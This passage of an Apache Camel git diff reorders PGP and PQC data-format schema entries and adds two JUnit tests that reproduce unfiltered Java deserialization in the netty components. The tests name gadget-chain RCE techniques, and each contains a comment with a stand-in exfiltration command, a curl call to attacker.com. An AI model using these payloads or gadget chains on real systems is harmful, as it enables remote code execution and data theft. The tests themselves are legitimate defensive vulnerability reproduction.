+example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (=
AES_128). Only relevant for encrypting.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="compressionAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Compression algorithm; possible values are defined in
org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (=
+UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for
encrypting.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="hashAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Signature hash algorithm; possible values are defined in
org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (=
+SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant
for signing.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="signatureVerificationOption" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Controls the behavior for verifying the signature during unmarshaling. There
are 4 values possible: optional: The PGP
+message may or may not contain signatures; if it does contain signatures, then
a signature verification is executed.
+required: The PGP message must contain at least one signature; if this is not
the case an exception (PGPException) is
+thrown. A signature verification is executed. ignore: Contained signatures in
the PGP message are ignored; no signature
+verification is executed. no_signature_allowed: The PGP message must not
contain a signature; otherwise an exception
+(PGPException) is thrown.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ </xs:extension>
+ </xs:complexContent>
+ </xs:complexType>
+ <xs:complexType name="pqcDataFormat">
+ <xs:complexContent>
+ <xs:extension base="tns:dataFormat">
+ <xs:sequence/>
+ <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The Post-Quantum KEM algorithm to use for key encapsulation. Supported values:
MLKEM, BIKE, HQC, CMCE, SABER, FRODO,
+NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="symmetricKeyAlgorithm" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The symmetric encryption algorithm to use with the shared secret. Supported
values: AES, ARIA, RC2, RC5, CAMELLIA,
+CAST5, CAST6, CHACHA7539, etc. Default value: AES
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="symmetricKeyLength" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The length (in bits) of the symmetric key. Default value: 128
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="keyPair" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Refers to the KeyPair to lookup from the register to use for KEM operations.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="bufferSize" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The size of the buffer used for streaming encryption/decryption. Default
value: 4096
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="provider" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+The JCE security provider to use.
+]]>
+ </xs:documentation>
+ </xs:annotation>
+ </xs:attribute>
+ <xs:attribute name="keyGenerator" type="xs:string">
+ <xs:annotation>
+ <xs:documentation xml:lang="en">
+<![CDATA[
+Refers to a custom KeyGenerator to lookup from the register for KEM operations.
]]>
</xs:documentation>
</xs:annotation>
@@ -9469,230 +9693,6 @@ Default value: true
<xs:documentation xml:lang="en">
<![CDATA[
Refers to a Map XML Namespaces of prefix - uri mappings.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- </xs:extension>
- </xs:complexContent>
- </xs:complexType>
- <xs:complexType name="pgpDataFormat">
- <xs:complexContent>
- <xs:extension base="tns:dataFormat">
- <xs:sequence/>
- <xs:attribute name="keyUserid" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The user ID of the key in the PGP keyring used during encryption. Can also be
only a part of a user ID. For example, if
-the user ID is Test User then you can use the part Test User or to address the
user ID.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureKeyUserid" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-User ID of the key in the PGP keyring used for signing (during encryption) or
signature verification (during
-decryption). During the signature verification process the specified User ID
restricts the public keys from the public
-keyring which can be used for the verification. If no User ID is specified for
the signature verficiation then any
-public key in the public keyring can be used for the verification. Can also be
only a part of a user ID. For example, if
-the user ID is Test User then you can use the part Test User or to address the
User ID.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="password" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Password used when opening the private key (not used for encryption).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signaturePassword" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Password used when opening the private key used for signing (during
encryption).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="keyFileName" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Filename of the keyring; must be accessible as a classpath resource (but you
can specify a location in the file system
-by using the file: prefix).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureKeyFileName" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Filename of the keyring to use for signing (during encryption) or for
signature verification (during decryption); must
-be accessible as a classpath resource (but you can specify a location in the
file system by using the file: prefix).
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureKeyRing" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Keyring used for signing/verifying as byte array. You can not set the
signatureKeyFileName and signatureKeyRing at the
-same time.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="armored" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-This option will cause PGP to base64 encode the encrypted text, making it
available for copy/paste, etc. Default value:
-false
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="integrity" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Adds an integrity check/sign into the encryption file. The default value is
true. Default value: true
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="provider" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Java Cryptography Extension (JCE) provider, default is Bouncy Castle (BC).
Alternatively you can use, for example, the
-IAIK JCE provider; in this case the provider must be registered beforehand and
the Bouncy Castle provider must not be
-registered beforehand. The Sun JCE provider does not work.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="algorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Symmetric key encryption algorithm; possible values are defined in
org.bouncycastle.bcpg.SymmetricKeyAlgorithmTags; for
-example 2 (= TRIPLE DES), 3 (= CAST5), 4 (= BLOWFISH), 6 (= DES), 7 (=
AES_128). Only relevant for encrypting.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="compressionAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Compression algorithm; possible values are defined in
org.bouncycastle.bcpg.CompressionAlgorithmTags; for example 0 (=
-UNCOMPRESSED), 1 (= ZIP), 2 (= ZLIB), 3 (= BZIP2). Only relevant for
encrypting.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="hashAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Signature hash algorithm; possible values are defined in
org.bouncycastle.bcpg.HashAlgorithmTags; for example 2 (=
-SHA1), 8 (= SHA256), 9 (= SHA384), 10 (= SHA512), 11 (=SHA224). Only relevant
for signing.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="signatureVerificationOption" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Controls the behavior for verifying the signature during unmarshaling. There
are 4 values possible: optional: The PGP
-message may or may not contain signatures; if it does contain signatures, then
a signature verification is executed.
-required: The PGP message must contain at least one signature; if this is not
the case an exception (PGPException) is
-thrown. A signature verification is executed. ignore: Contained signatures in
the PGP message are ignored; no signature
-verification is executed. no_signature_allowed: The PGP message must not
contain a signature; otherwise an exception
-(PGPException) is thrown.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- </xs:extension>
- </xs:complexContent>
- </xs:complexType>
- <xs:complexType name="pqcDataFormat">
- <xs:complexContent>
- <xs:extension base="tns:dataFormat">
- <xs:sequence/>
- <xs:attribute name="keyEncapsulationAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The Post-Quantum KEM algorithm to use for key encapsulation. Supported values:
MLKEM, BIKE, HQC, CMCE, SABER, FRODO,
-NTRU, NTRULPRime, SNTRUPrime, KYBER. Default value: MLKEM
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="symmetricKeyAlgorithm" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The symmetric encryption algorithm to use with the shared secret. Supported
values: AES, ARIA, RC2, RC5, CAMELLIA,
-CAST5, CAST6, CHACHA7539, etc. Default value: AES
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="symmetricKeyLength" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The length (in bits) of the symmetric key. Default value: 128
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="keyPair" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Refers to the KeyPair to lookup from the register to use for KEM operations.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="bufferSize" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The size of the buffer used for streaming encryption/decryption. Default
value: 4096
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="provider" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-The JCE security provider to use.
-]]>
- </xs:documentation>
- </xs:annotation>
- </xs:attribute>
- <xs:attribute name="keyGenerator" type="xs:string">
- <xs:annotation>
- <xs:documentation xml:lang="en">
-<![CDATA[
-Refers to a custom KeyGenerator to lookup from the register for KEM operations.
]]>
</xs:documentation>
</xs:annotation>
@@ -13811,6 +13811,8 @@ To type used as a target data type in the
transformation.
<xs:element ref="tns:mimeMultipart"/>
<xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
+ <xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -13824,8 +13826,6 @@ To type used as a target data type in the
transformation.
<xs:element ref="tns:univocityFixed"/>
<xs:element ref="tns:univocityTsv"/>
<xs:element ref="tns:xmlSecurity"/>
- <xs:element ref="tns:pgp"/>
- <xs:element ref="tns:pqc"/>
<xs:element ref="tns:yaml"/>
<xs:element ref="tns:zipDeflater"/>
<xs:element ref="tns:zipFile"/>
@@ -16087,8 +16087,10 @@ Set a reference to a custom Expression to use.
<xs:element ref="tns:jsonApi"/>
<xs:element ref="tns:lzf"/>
<xs:element ref="tns:mimeMultipart"/>
+ <xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
<xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -16990,7 +16992,10 @@ Set the 'to' data type name. If you specify
'json:XYZ', the transformer will be
<xs:element ref="tns:jsonApi"/>
<xs:element ref="tns:lzf"/>
<xs:element ref="tns:mimeMultipart"/>
+ <xs:element ref="tns:ocsf"/>
<xs:element ref="tns:parquetAvro"/>
+ <xs:element ref="tns:pgp"/>
+ <xs:element ref="tns:pqc"/>
<xs:element ref="tns:protobuf"/>
<xs:element ref="tns:rss"/>
<xs:element ref="tns:smooks"/>
@@ -17004,7 +17009,6 @@ Set the 'to' data type name. If you specify 'json:XYZ',
the transformer will be
<xs:element ref="tns:univocityFixed"/>
<xs:element ref="tns:univocityTsv"/>
<xs:element ref="tns:xmlSecurity"/>
- <xs:element ref="tns:pgp"/>
<xs:element ref="tns:yaml"/>
<xs:element ref="tns:zipDeflater"/>
<xs:element ref="tns:zipFile"/>
diff --git
a/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java
b/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java
new file mode 100644
index 000000000000..0cccc34a559b
--- /dev/null
+++
b/components/camel-netty-http/src/test/java/org/apache/camel/component/netty/http/NettyHttpUnfilteredDeserializationReproducerTest.java
@@ -0,0 +1,126 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty.http;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+
+import org.apache.camel.CamelExecutionException;
+import org.apache.camel.Exchange;
+import org.apache.camel.builder.RouteBuilder;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Reproducer demonstrating that camel-netty-http deserializes HTTP response
bodies without ObjectInputFilter when
+ * {@code transferException=true}.
+ *
+ * <p>
+ * <b>Attack scenario:</b> A malicious or compromised upstream server responds
with HTTP 500, Content-Type
+ * {@code application/x-java-serialized-object}, and a crafted serialized
payload. The Camel client-side producer
+ * deserializes it via {@link NettyHttpHelper#deserializeJavaObjectFromStream}
without any class filtering, allowing
+ * arbitrary code execution through gadget chains.
+ * </p>
+ *
+ * <p>
+ * This test sets up a "malicious server" endpoint that returns a serialized
{@link SimulatedGadget} (a non-Exception
+ * class) in the HTTP response. The client calls it with {@code
transferException=true}, and the gadget's
+ * {@code readObject()} executes during deserialization.
+ * </p>
+ */
+public class NettyHttpUnfilteredDeserializationReproducerTest extends
BaseNettyTestSupport {
+
+ @BeforeEach
+ void resetGadget() {
+ SimulatedGadget.executed = false;
+ }
+
+ @Test
+ public void testMaliciousServerCanTriggerArbitraryDeserialization() {
+ // The client calls a "malicious server" with transferException=true.
+ // The server responds with HTTP 500 + Content-Type:
application/x-java-serialized-object
+ // containing a serialized SimulatedGadget (NOT an Exception).
+ //
+ // NettyHttpHelper.deserializeJavaObjectFromStream() deserializes it
without
+ // any ObjectInputFilter, so SimulatedGadget.readObject() runs on the
client.
+
+ assertThrows(CamelExecutionException.class,
+ () -> template.requestBody(
+
"netty-http:http://localhost:{{port}}/malicious?transferException=true",
+ "Hello World", String.class));
+
+ assertTrue(SimulatedGadget.executed,
+ "SimulatedGadget.readObject() was called on the CLIENT side
during deserialization "
+ + "of the server's HTTP response.
A malicious server can exploit this for RCE. "
+ + "An ObjectInputFilter should
restrict deserialization to Exception subclasses only.");
+ }
+
+ @Override
+ protected RouteBuilder createRouteBuilder() {
+ return new RouteBuilder() {
+ @Override
+ public void configure() {
+ // Simulates a malicious server that responds with a crafted
serialized
+ // payload instead of a legitimate serialized Exception.
+
from("netty-http:http://0.0.0.0:{{port}}/malicious?transferException=true")
+ .process(exchange -> {
+ // Serialize a non-Exception gadget object
+ SimulatedGadget gadget = new SimulatedGadget();
+ ByteArrayOutputStream baos = new
ByteArrayOutputStream();
+ try (ObjectOutputStream oos = new
ObjectOutputStream(baos)) {
+ oos.writeObject(gadget);
+ }
+
+ // Return it as the response body with the
serialized-object content type
+ // and HTTP 500 to trigger the transferException
deserialization path
+ exchange.getMessage().setBody(baos.toByteArray());
+
exchange.getMessage().setHeader(Exchange.CONTENT_TYPE,
+
NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT);
+
exchange.getMessage().setHeader(Exchange.HTTP_RESPONSE_CODE, 500);
+ });
+ }
+ };
+ }
+
+ /**
+ * Simulates a deserialization gadget. In a real attack this would be a
class from a library on the classpath (e.g.,
+ * commons-collections InvokerTransformer) that chains to {@code
Runtime.getRuntime().exec("malicious command")}.
+ *
+ * <p>
+ * Note that this is NOT an Exception subclass. The fact that it gets
deserialized proves that
+ * {@link NettyHttpHelper#deserializeJavaObjectFromStream} accepts any
Serializable class, not just Exceptions.
+ * </p>
+ */
+ public static class SimulatedGadget implements Serializable {
+ private static final long serialVersionUID = 1L;
+
+ static volatile boolean executed;
+
+ private void readObject(ObjectInputStream in) throws IOException,
ClassNotFoundException {
+ in.defaultReadObject();
+ // In a real gadget chain this would be:
+ // Runtime.getRuntime().exec("curl
http://attacker.com/steal?data=...");
+ executed = true;
+ }
+ }
+}
diff --git
a/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
new file mode 100644
index 000000000000..2ec3fdafba43
--- /dev/null
+++
b/components/camel-netty/src/test/java/org/apache/camel/component/netty/NettyUnfilteredDeserializationReproducerTest.java
@@ -0,0 +1,123 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.camel.component.netty;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+
+import io.netty.channel.ChannelHandler;
+import io.netty.handler.codec.serialization.ClassResolvers;
+import org.apache.camel.BindToRegistry;
+import org.apache.camel.builder.RouteBuilder;
+import org.apache.camel.component.netty.codec.ObjectDecoder;
+import org.apache.camel.component.netty.codec.ObjectEncoder;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Reproducer demonstrating that camel-netty TCP endpoints using ObjectDecoder
perform unrestricted Java deserialization
+ * without ObjectInputFilter.
+ *
+ * <p>
+ * When ObjectDecoder is configured, ANY Serializable class sent over the wire
is deserialized, including its
+ * {@code readObject()} method. An attacker can exploit this to achieve remote
code execution via known gadget chains
+ * (e.g., Commons Collections, Spring, etc.).
+ * </p>
+ *
+ * <p>
+ * This test uses a {@link SimulatedGadget} that sets a static flag in its
{@code readObject()} to prove arbitrary code
+ * execution during deserialization. In a real attack, this would chain to
{@code Runtime.getRuntime().exec()}.
+ * </p>
+ */
+public class NettyUnfilteredDeserializationReproducerTest extends
BaseNettyTest {
+
+ @BindToRegistry("encoder")
+ public ChannelHandler getEncoder() {
+ return new ShareableChannelHandlerFactory(new ObjectEncoder());
+ }
+
+ @BindToRegistry("decoder")
+ public ChannelHandler getDecoder() {
+ return new DefaultChannelHandlerFactory() {
+ @Override
+ public ChannelHandler newChannelHandler() {
+ return new
ObjectDecoder(ClassResolvers.weakCachingResolver(null));
+ }
+ };
+ }
+
+ @BeforeEach
+ void resetGadget() {
+ SimulatedGadget.executed = false;
+ }
+
+ @Test
+ public void testUnfilteredDeserializationAllowsArbitraryCodeExecution() {
+ // An attacker sends a crafted Serializable object to the netty TCP
endpoint.
+ // The ObjectDecoder deserializes it without any ObjectInputFilter,
+ // so SimulatedGadget.readObject() executes arbitrary code.
+ SimulatedGadget gadget = new SimulatedGadget();
+
+ template.requestBody(
+
"netty:tcp://localhost:{{port}}?sync=true&encoders=#encoder&decoders=#decoder",
+ gadget, Object.class);
+
+ assertTrue(SimulatedGadget.executed,
+ "SimulatedGadget.readObject() was called during
deserialization, "
+ + "proving unrestricted
deserialization allows arbitrary code execution. "
+ + "An ObjectInputFilter should
reject unknown classes.");
+ }
+
+ @Override
+ protected RouteBuilder createRouteBuilder() {
+ return new RouteBuilder() {
+ @Override
+ public void configure() {
+
from("netty:tcp://localhost:{{port}}?sync=true&decoders=#decoder&encoders=#encoder")
+ .process(exchange -> {
+ Object body = exchange.getIn().getBody();
+ exchange.getMessage().setBody("received: " +
body.getClass().getName());
+ });
+ }
+ };
+ }
+
+ /**
+ * Simulates a deserialization gadget. In a real attack this would be a
class from a library on the classpath (e.g.,
+ * commons-collections InvokerTransformer) that chains to {@code
Runtime.getRuntime().exec("malicious command")}.
+ *
+ * <p>
+ * Here we simply set a static flag to prove that {@code readObject()}
runs during deserialization -- i.e.,
+ * arbitrary code execution is possible.
+ * </p>
+ */
+ public static class SimulatedGadget implements Serializable {
+ private static final long serialVersionUID = 1L;
+
+ static volatile boolean executed;
+
+ private void readObject(ObjectInputStream in) throws IOException,
ClassNotFoundException {
+ in.defaultReadObject();
+ // In a real gadget chain this would be:
+ // Runtime.getRuntime().exec("curl
http://attacker.com/steal?data=...");
+ executed = true;
+ }
+ }
+}
diff --git
a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json
b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json
index ad5bb7bbe94b..5c7539afee16 100644
---
a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json
+++
b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/dataformat/dataFormats.json
@@ -12,6 +12,6 @@
"output": false
},
"properties": {
- "dataFormats": { "index": 0, "kind": "element", "displayName": "Data
Formats", "group": "common", "required": true, "type": "array", "javaType":
"java.util.List<org.apache.camel.model.DataFormatDefinition>", "oneOf": [
"asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto",
"csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", [...]
+ "dataFormats": { "index": 0, "kind": "element", "displayName": "Data
Formats", "group": "common", "required": true, "type": "array", "javaType":
"java.util.List<org.apache.camel.model.DataFormatDefinition>", "oneOf": [
"asn1", "avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto",
"csv", "custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", [...]
}
}
diff --git
a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json
b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json
index 7d8367e89550..815ec640f005 100644
---
a/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json
+++
b/core/camel-core-model/src/generated/resources/META-INF/org/apache/camel/model/transformer/dataFormatTransformer.json
@@ -12,7 +12,7 @@
"output": false
},
"properties": {
- "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data
Format Type", "group": "common", "required": true, "type": "object",
"javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1",
"avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv",
"custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", "parque [...]
+ "dataFormatType": { "index": 0, "kind": "element", "displayName": "Data
Format Type", "group": "common", "required": true, "type": "object",
"javaType": "org.apache.camel.model.DataFormatDefinition", "oneOf": [ "asn1",
"avro", "barcode", "base64", "beanio", "bindy", "cbor", "crypto", "csv",
"custom", "dfdl", "fhirJson", "fhirXml", "flatpack", "fory", "grok",
"groovyXml", "gzipDeflater", "hl7", "ical", "iso8583", "jacksonXml", "jaxb",
"json", "jsonApi", "lzf", "mimeMultipart", "ocsf", [...]
"scheme": { "index": 1, "kind": "attribute", "displayName": "Scheme",
"group": "common", "required": false, "type": "string", "javaType":
"java.lang.String", "deprecated": false, "autowired": false, "secret": false,
"description": "Set a scheme name supported by the transformer. If you specify
'csv', the transformer will be picked up for all of 'csv' from\/to Java
transformation. Note that the scheme matching is performed only when no exactly
matched transformer exists." },
"name": { "index": 2, "kind": "attribute", "displayName": "Name", "group":
"common", "required": false, "type": "string", "javaType": "java.lang.String",
"deprecated": false, "autowired": false, "secret": false, "description": "Set
the transformer name under which the transformer gets referenced when
specifying the input\/output data type on routes. If you specify a transformer
name that matches a data type scheme like 'csv' the transformer will be picked
up for all of 'csv:' from\/t [...]
"fromType": { "index": 3, "kind": "attribute", "displayName": "From Type",
"group": "common", "required": false, "type": "string", "javaType":
"java.lang.String", "deprecated": false, "autowired": false, "secret": false,
"description": "Set the 'from' data type name. If you specify 'xml:XYZ', the
transformer will be picked up if source type is 'xml:XYZ'. If you specify just
'xml', the transformer matches with all of 'xml' source type like 'xml:ABC' or
'xml:DEF'." },
diff --git
a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java
b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java
index 5442232f5493..96958bdf55a2 100644
---
a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java
+++
b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatBuilderFactory.java
@@ -45,6 +45,7 @@ import org.apache.camel.model.dataformat.LZFDataFormat;
import org.apache.camel.model.dataformat.MimeMultipartDataFormat;
import org.apache.camel.model.dataformat.OcsfDataFormat;
import org.apache.camel.model.dataformat.PGPDataFormat;
+import org.apache.camel.model.dataformat.PQCDataFormat;
import org.apache.camel.model.dataformat.ParquetAvroDataFormat;
import org.apache.camel.model.dataformat.ProtobufDataFormat;
import org.apache.camel.model.dataformat.RssDataFormat;
@@ -278,6 +279,13 @@ public final class DataFormatBuilderFactory {
return new PGPDataFormat.Builder();
}
+ /**
+ * Uses the PQC (Post-Quantum Cryptography) data format
+ */
+ public PQCDataFormat.Builder pqc() {
+ return new PQCDataFormat.Builder();
+ }
+
/**
* Uses the protobuf data format
*/
diff --git
a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java
b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java
index 72f5102c9a2b..843796295b66 100644
---
a/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java
+++
b/core/camel-core-model/src/main/java/org/apache/camel/builder/DataFormatClause.java
@@ -51,6 +51,7 @@ import org.apache.camel.model.dataformat.LZFDataFormat;
import org.apache.camel.model.dataformat.MimeMultipartDataFormat;
import org.apache.camel.model.dataformat.OcsfDataFormat;
import org.apache.camel.model.dataformat.PGPDataFormat;
+import org.apache.camel.model.dataformat.PQCDataFormat;
import org.apache.camel.model.dataformat.ParquetAvroDataFormat;
import org.apache.camel.model.dataformat.ProtobufDataFormat;
import org.apache.camel.model.dataformat.ProtobufLibrary;
@@ -551,6 +552,13 @@ public class DataFormatClause<T extends
ProcessorDefinition<?>> {
return dataFormat(pgp);
}
+ /**
+ * Uses the PQC (Post-Quantum Cryptography) data format
+ */
+ public T pqc() {
+ return dataFormat(new PQCDataFormat());
+ }
+
/**
* Uses the Jackson XML data format
*/
diff --git
a/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java
b/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java
index 41ae107fec40..87c05302f3fd 100644
---
a/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java
+++
b/core/camel-core-model/src/main/java/org/apache/camel/model/MarshalDefinition.java
@@ -110,6 +110,8 @@ public class MarshalDefinition extends
NoOutputDefinition<MarshalDefinition> imp
@XmlElement(name = "mimeMultipart", type =
